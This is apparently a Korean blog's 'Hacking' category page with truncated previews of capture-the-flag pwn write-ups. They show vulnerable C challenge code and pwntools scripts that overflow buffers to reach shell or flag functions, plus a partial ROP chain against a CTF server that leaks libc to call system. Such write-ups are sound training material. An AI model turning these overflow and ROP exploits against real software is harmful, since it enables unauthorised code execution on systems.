목록Hacking (79)
ii4gsp
보호되어 있는 글입니다.

#include #include #include #include #include #define BUFSIZE 176 #define FLAGSIZE 64 void flag(unsigned int arg1, unsigned int arg2) { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); if (arg1 != 0xDEADBEEF) retur..

#include #include #include #include #define FLAGSIZE_MAX 64 char flag[FLAGSIZE_MAX]; void sigsegv_handler(int sig) { fprintf(stderr, "%s\n", flag); fflush(stderr); exit(1); } void vuln(char *input){ char buf[128]; strcpy(buf, input); } int main(int argc, char **argv){ FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin..

그냥 실행하니 플래그가 나온다. Flag: picoCTF{g3t_r3adY_2_r3v3r53}

간단한다. gets()함수로 ret를 give_shell()함수로 덮어주면 된다. SFP 포함 32byte이다. from pwn import * p = process('/home/ii4gsp/get_it') e = ELF('/home/ii4gsp/get_it') give_shell = e.symbols['give_shell'] payload = '' payload += '\x90' * 32 payload += p64(give_shell) p.sendline(payload) p.interactive()

IDA로 파일을 열어보면 read()함수로 buf에 0x18 즉, 24byte만큼 입력을받는다. 각 변수가 4byte씩 차이가난다. 순서대로 조건을 맞춰주면 get_flag()함수가 실행되어 쉘을 획득한다. flag_ptr은 get_flag()함수를 가리키고있다. Exploit from pwn import * p = process('/home/ii4gsp/simpleBOF') payload = '' payload += '\x90' * 4 payload += 'FLAG' payload += p32(0x080484cb) payload += p32(0x31323334) payload += p32(0xffffffff) payload += p32(0xbc614e) p.sendline(payload) p.inter..

#include #include int main(){ long val=0x41414141; char buf[20]; printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n"); printf("Here is your chance: "); scanf("%24s",&buf); printf("buf: %s\n",buf); printf("val: 0x%08x\n",val); if(val==0xdeadbeef){ setreuid(geteuid(),geteuid()); system("/bin/sh"); } else { printf("WAY OFF!!!!\n"); exit(1); } return 0; } val이 0xdeadbeef면 쉘을 실행시킨다. scanf()..

문제 이름대로 ROP해주면 된다. pop pop pop ret 가젯은 0x8048509이다. 나머지는 pwntools로 구해주자. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3021) e = ELF('/home/ii4gsp/HackCTF/rop/rop') libc = ELF('/home/ii4gsp/HackCTF/rop/libc.so.6') write_plt = e.plt['write'] write_got = e.got['write'] read_plt = e.plt['read'] read_got = e.got['read'] bss = e.bss() read_offset = libc.symbols['read'] system_offset = libc.symbols..